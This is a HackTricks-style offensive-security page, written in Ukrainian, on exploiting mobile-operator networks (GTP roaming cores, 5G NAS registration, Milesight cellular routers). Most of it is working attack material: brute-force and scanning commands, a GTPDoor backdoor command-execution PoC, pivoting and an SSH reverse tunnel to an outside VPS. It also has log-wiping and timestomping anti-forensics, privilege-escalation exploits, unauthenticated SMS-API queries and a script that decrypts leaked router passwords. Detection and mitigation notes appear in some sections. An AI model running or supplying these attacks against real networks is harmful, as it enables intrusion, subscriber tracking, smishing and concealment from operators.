Експлуатація телеком-мереж (GTP / середовища роумінгу)

Reading time: 13 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

note

Протоколи мобільного ядра (GPRS Tunnelling Protocol – GTP) часто проходять через напівдовірені GRX/IPX роумінгові магістралі. Оскільки вони працюють поверх простого UDP з майже відсутньою аутентифікацією, будь-який плацдарм всередині периметра телеком-мережі зазвичай може безпосередньо дістатися до основних сигнальних площин. Нижче зібрані атакувальні трюки, спостережені в реальному житті проти SGSN/GGSN, PGW/SGW та інших вузлів EPC.

1. Recon & Initial Access

1.1 Облікові записи OSS / NE за замовчуванням

Дивно велика кількість вендорських мережевих елементів постачається з вбудованими SSH/Telnet користувачами, такими як root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Спеціалізований wordlist драматично підвищує успішність brute-force:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Якщо пристрій експонує лише management VRF, спочатку pivot через jump host (див. розділ «SGSN Emu Tunnel» нижче).

1.2 Виявлення хостів у GRX/IPX

Більшість операторів GRX досі дозволяють ICMP echo через магістраль. Поєднайте masscan з вбудованими UDP-пробами gtpv1, щоб швидко відобразити GTP-C listeners:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerating Subscribers – cordscan

Наступна Go-утиліта формує GTP-C Create PDP Context Request пакети і записує відповіді. Кожна відповідь показує поточний SGSN / MME, що обслуговує запитуване IMSI, а іноді й відвіданий абонентом PLMN.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Ключові прапори:

  • --imsi IMSI цільового абонента
  • --oper Home / HNI (MCC+MNC)
  • -w Записати сирі пакети у pcap

Важливі константи всередині бінарного файлу можна запатчити, щоб розширити сканування:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Code Execution over GTP – GTPDoor

GTPDoor — невеликий ELF-сервіс, який прослуховує UDP 2123 і розбирає кожен вхідний GTP-C пакет. Коли payload починається з попередньо погодженого тега, решта даних розшифровується (AES-128-CBC) і виконується через /bin/sh -c. stdout/stderr ексфільтруються всередині Echo Response повідомлень, тому жодна вихідна сесія ніколи не створюється.

Мінімальний PoC пакет (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Виявлення:

  • будь-який хост, який надсилає unbalanced Echo Requests до IP-адрес SGSN
  • GTP version flag встановлений у 1 при message type = 1 (Echo) – відхилення від специфікації

4. Pivoting через ядро

4.1 sgsnemu + SOCKS5

OsmoGGSN постачається з емулятором SGSN, який може встановити PDP context до реального GGSN/PGW. Після узгодження Linux отримує новий інтерфейс tun0, доступний з боку roaming peer.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

При належному firewall hair-pinning цей тунель обходить signalling-only VLANs і ви потрапляєте безпосередньо в data plane.

4.2 SSH Reverse Tunnel over Port 53

DNS майже завжди відкритий у роумінгових інфраструктурах. Відкрийте внутрішній SSH-сервіс на вашому VPS, що слухає на :53, і поверніться пізніше з дому:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Переконайтеся, що GatewayPorts yes увімкнено на VPS.

5. Приховані канали

КаналТранспортДекодуванняПримітки
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)повністю пасивний слухач, без вихідного трафіку
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) закодовано в октетах A-recordстежить за піддоменом *.nodep
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEмаскується під легітимний GTP-C трафік

Усі implants реалізують watchdogs, які timestomp their binaries і re-spawn у разі аварії.

6. Шпаргалка з обходу захисту

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation на Legacy NE

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Порада щодо очищення:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Набір інструментів

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – власні інструменти, описані в попередніх розділах.
  • FScan : TCP-сканування інтрамережі (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : легке SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / мост між активами

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Процедура реєстрації 5G працює через NAS (Non-Access Stratum) поверх NGAP. Поки безпека NAS не активована за допомогою Security Mode Command/Complete, початкові повідомлення не автентифіковані та не зашифровані. Це вікно перед активацією безпеки дозволяє кілька векторів атаки, якщо ви можете спостерігати або модифікувати N2-трафік (наприклад, on-path всередині ядра, rogue gNB або тестова лабораторія).

Registration flow (simplified):

  • Registration Request: UE відправляє SUCI (SUPI зашифрований публічним ключем домашньої мережі) та заявлені можливості.
  • Authentication: AMF/AUSF надсилають RAND/AUTN; UE повертає RES*.
  • Security Mode Command/Complete: узгоджуються та активуються цілісність NAS і шифрування.
  • PDU Session Establishment: налаштування IP/QoS.

Поради з налаштування лабораторії (без RF):

  • Core: стандартне розгортання Open5GS достатнє для відтворення потоків.
  • UE: симулятор або тестовий UE; декодування за допомогою Wireshark.
  • Active tooling: 5GReplay (захоплення/модифікація/повторне відтворення NAS в межах NGAP), Sni5Gect (перехоплення/патч/вставка NAS на льоту без підняття повного rogue gNB).
  • Корисні фільтри відображення в Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Очікуване: UE/USIM повинен передавати SUCI (SUPI, зашифрований публічним ключем домашньої мережі). Знаходження відкритого SUPI/IMSI в Registration Request вказує на дефект приватності, що дозволяє постійне відстеження абонента.

Як тестувати:

  • Захопіть перше NAS-повідомлення в InitialUEMessage та проінспектуйте Mobile Identity IE.
  • Швидкі перевірки в Wireshark:
  • Повинно декодуватися як SUCI, а не IMSI.
  • Приклади фільтрів: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci має бути присутнім; відсутність разом із присутністю imsi свідчить про витік.

Що збирати:

  • MCC/MNC/MSIN, якщо відкриті; логувати для кожного UE та відстежувати за часом/локаціями.

Пом'якшення:

  • Забезпечити SUCI-only UEs/USIMs; генерувати оповіщення при будь-якому IMSI/SUPI в початковому NAS.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Передумови:

  • UE оголошує підтримувані EEA (шифрування) та EIA (цілісність) у UE Security Capability IE в Registration Request.
  • Типові відповідності: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 — нульові алгоритми.

Проблема:

  • Оскільки Registration Request не захищений цілісністю, атакувальник on-path може очистити біти здатностей, щоб примусити вибір EEA0/EIA0 пізніше під час Security Mode Command. Деякі стеки помилково дозволяють нульові алгоритми поза межами екстрених служб.

Офензивні кроки:

  • Перехопіть InitialUEMessage і змініть NAS UE Security Capability, щоб оголосити лише EEA0/EIA0.
  • З Sni5Gect захукайте NAS-повідомлення і пропатчіть біти здатностей перед пересиланням.
  • Спостерігайте, чи AMF приймає нульові шифри/цілісність і завершує Security Mode з EEA0/EIA0.

Перевірка/видимість:

  • У Wireshark підтвердіть вибрані алгоритми після Security Mode Command/Complete.
  • Приклад виводу пасивного сніффера:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Заходи (обов'язково):

  • Налаштуйте AMF/policy так, щоб відхиляти EEA0/EIA0, за винятком випадків, коли це суворо необхідно (наприклад, екстрені виклики).
  • Віддавайте перевагу застосуванню EEA2/EIA2 як мінімум; логувати та подавати тривогу щодо будь-якого NAS security context, який погоджується на null algorithms.

9.3 Відтворення початкового Registration Request (pre-security NAS)

Оскільки початковий NAS не має цілісності та свіжості, перехоплені InitialUEMessage+Registration Request можуть бути відтворені на AMF.

PoC rule for 5GReplay to forward matching replays:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Чи приймає AMF replay і переходить до Authentication; відсутність перевірки свіжості/зв'язування контексту вказує на вразливість.

Mitigations:

  • Забезпечити replay protection/context binding на AMF; застосувати rate-limit і кореляцію для кожного GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: розгорніть AMF/SMF/UPF, щоб емулювати core; спостерігайте N2 (NGAP) і NAS.
  • Wireshark: перевірте декодування NGAP/NAS; застосуйте наведені вище фільтри, щоб ізолювати Registration.
  • 5GReplay: захопіть registration, потім replay конкретні NGAP + NAS повідомлення згідно правила.
  • Sni5Gect: live sniff/modify/inject NAS control-plane, щоб примусити null algorithms або порушити authentication sequences.

9.5 Defensive checklist

  • Постійно перевіряйте Registration Request на предмет plaintext SUPI/IMSI; блокувати пристрої/USIMs, що порушують.
  • Відхиляйте EEA0/EIA0, за винятком чітко визначених аварійних процедур; вимагайте щонайменше EEA2/EIA2.
  • Виявляйте сторонню або неправильно налаштовану інфраструктуру: неавторизовані gNB/AMF, несподівані N2 peers.
  • Налаштуйте оповіщення щодо NAS security modes, які призводять до null algorithms або частих replayів InitialUEMessage.

10. Промислові cellular роутери – зловживання неаутентифікованим SMS API (Milesight UR5X/UR32/UR35/UR41) та відновлення облікових даних (CVE-2023-43261)

Зловживання відкритими web API промислових cellular роутерів дозволяє приховане smishing з боку оператора у масштабі. Маршрутизатори серії Milesight UR розкривають JSON-RPC–style endpoint на /cgi. Якщо неправильно налаштовано, API може бути опитано без аутентифікації для переліку SMS inbox/outbox і, в деяких розгортаннях, для відправки SMS.

Типові неаутентифіковані запити (така ж структура для inbox/outbox):

http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Відповіді містять поля, такі як timestamp, content, phone_number (E.164) та status (success або failed). Повторні відправлення з failed на той самий номер часто є «capability checks» від нападника, щоб підтвердити, що router/SIM може доставляти перед масовою розсилкою.

Приклад curl для exfiltrate SMS metadata:

bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Примітки щодо auth-артефактів:

  • Деякий трафік може містити auth cookie, але велика частина відкритих пристроїв відповідає без жодної автентифікації на query_inbox/query_outbox, коли інтерфейс управління доступний з Інтернету.
  • У середовищах, що потребують auth, previously-leaked credentials (див. нижче) відновлюють доступ.

Credential recovery path – CVE-2023-43261:

  • Пошкоджені сімейства: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Проблема: web-served logs (наприклад, httpd.log) доступні без автентифікації під /lang/log/ і містять події входу admin з паролем, зашифрованим з використанням хардкодованого AES key/IV, присутнього в client-side JavaScript.
  • Практичний доступ та дешифрування:
bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Мінімальний скрипт Python для decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):

python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Ідеї для пошуку загроз і виявлення (мережа):

  • Сповіщати про непроавторизований POST /cgi, тіло JSON якого містить base/function, встановлені в query_inbox або query_outbox.
  • Відстежувати повторювані сплески POST /cgi, за якими йдуть записи status":"failed" для багатьох унікальних номерів з тієї ж source IP (тестування можливостей).
  • Провести інвентаризацію Internet-exposed Milesight роутерів; обмежити управління через VPN; відключити SMS-функції, якщо вони не потрібні; оновити до ≥ v35.3.0.7; змінити credentials і переглянути SMS-логи на предмет невідомих надсилань.

Shodan/OSINT pivots (приклади, помічені in the wild):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking для пошуку exposed logs: "/lang/log/system" ext:log.

Operational impact: використання легітимних carrier SIMs всередині роутерів дає дуже високу SMS deliverability/credibility для фішингу, тоді як inbox/outbox exposure leaks sensitive metadata at scale.


Ідеї виявлення

  1. Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
  2. Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
  3. Frequent Echo Requests without corresponding Echo Responses – might indicate GTPDoor beacons.
  4. High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
  5. 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
  6. 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks